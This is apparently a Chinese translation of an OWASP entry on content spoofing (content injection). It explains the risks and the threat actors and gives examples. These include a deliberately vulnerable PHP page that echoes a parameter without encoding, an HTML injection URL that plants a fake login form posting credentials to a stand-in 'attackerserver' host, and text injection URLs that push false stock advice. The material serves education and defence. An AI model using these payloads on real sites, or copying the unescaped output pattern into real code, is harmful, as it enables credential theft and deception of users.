(OWASP汉化)攻击系列大全(十二):内容注入

漏洞描述

内容欺骗,也被称为内容注入,“任意文本注入”,是一种通过Web应用程序中的注入漏洞针对用户进行的攻击。当应用程序无法正确处理用户提供的数据时,攻击者通常可以通过参数值将内容提供给Web应用程序,并反馈给用户。这在可信域的上下文中向用户呈现修改的页面。这种攻击通常用作社会工程或与社会工程结合使用,因为攻击是利用基于代码的漏洞和用户的信任。作为一个侧面说明,这种攻击被广泛误解为一种没有影响的错误。

风险因素

风险因素取决于应用程序的业务类型。如果应用商业品牌众所周知并且拥有主要竞争对手,那么这个问题可能会被恶意竞争对手/心怀不满的员工/不满意的客户滥用,从而引发虚假消息向毫无戒心的客户群发传播。增加风险的另一个因素是通过搜索引擎优化注入,搜索引擎抓取伪造的消息并制作URL。

通过这样做,客户可能会被迫转向竞争对手的产品。这可能会导致货币价值的损失,直到受害者业务正确完成。对于上市公司,其股价将下跌,导致数百万的损失。

攻击脚本

攻击者盗取拥有数千名追随者的社交账户,并通过Twitter / Facebook / Instagram /类似的热门频道发布误导性内容欺骗。这将导致媒体认为新闻是正确的,并创造头条新闻。

适用行业

  • 销售一种产品作为主要业务功能的企业

    例如:出租车业务,网上购物,在线服务业务

  • 依靠品牌名称的商业实体

    例如:化妆品牌,航空品牌

漏洞威胁

  • 恶意的竞争对手
  • 心怀不满的员工
  • 不满意的客户
  • 骗子

内容欺骗与跨站脚本

内容欺骗是一种与跨站点脚本(XSS)密切相关的攻击,尽管XSS使用<script>和其他技术来运行JavaScript,但内容欺骗使用其他技术来修改页面以防恶意原因。即使在Web应用程序中使用了XSS缓解技术(如正确的输出编码),应用程序仍然可能容易遭受基于文本的内容欺骗攻击。

漏洞示例

HTML注入

下面演示一个可能的攻击场景。对于这种情况,让我们假设没有输出编码实体化:

  1. 攻击者发现注入漏洞,并决定欺骗登录表单
  2. 攻击者制造恶意链接,包括他注入的HTML内容,并通过电子邮件发送给用户
  3. 由于页面位于受信任的域内,因此用户访问该页面
  4. 攻击者注入的HTML被呈现并呈现给用户,询问用户名和密码
  5. 用户输入用户名和密码,这两个用户名和密码都发送给攻击者服务器

通过name参数包含一个注入漏洞的简单PHP页面:

<?php
    $name = $_REQUEST ['name'];
?>
<html>
    <h1>Welcome to the Internet!</h1>
    <br>
    <body>
            Hello, <?php echo $name; ?>!
        <p>We are so glad you are here!</p>
    </body>
</html>

可以通过向页面发出以下GET请求来测试页面功能:

http://127.0.0.1/vulnerable.php?name=test

通过请求下面的链接,页面呈现注入的HTML,呈现登录表单,并在注入点之后注释页面的其余部分。一旦用户输入用户名和密码,这些值将通过POST发送到攻击者服务器上名为login.php的页面。

http://127.0.0.1/vulnerable.php?name=<h3>Please Enter Your Username and Password to Proceed:</h3><form method="POST" 
action="http://attackerserver/login.php">Username: <input type="text" name="username" /><br />Password: <input type="password" 
name="password" /><br /><input type="submit" value="Login" /></form><!--

文本注入

内容欺骗攻击的另一个例子是通过文本操作向用户呈现错误信息。下面演示一个攻击场景。对于这种情况,我们假设已经实现了适当的输出编码并且XSS是不可能的:

  1. 攻击者识别一个Web应用程序,该应用程序向用户提供有关是否应该购买或出售特定股票的建议
  2. 攻击者识别一个易受攻击的参数
  3. 攻击者通过稍微修改有效的请求来制造恶意链接
  4. 包含修改后的请求的链接将发送给用户,并且他们单击该链接
  5. 使用攻击者恶意推荐创建有效的网页,并且用户认为该推荐来自股票网站

有效的页面

http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=We+Recommend+You+Buy+Now

修改的页面

http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=We+Really+Recommend+You+Sell+This+Stock+Now

另一个修改的例子

http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=Our+site+has+experienced+major+hacking+incident.Please+use+our+competitor+site+http://www.competitor.com+until+we+further+announced+for+update.

相关攻击

相关漏洞

相关控制

相关参考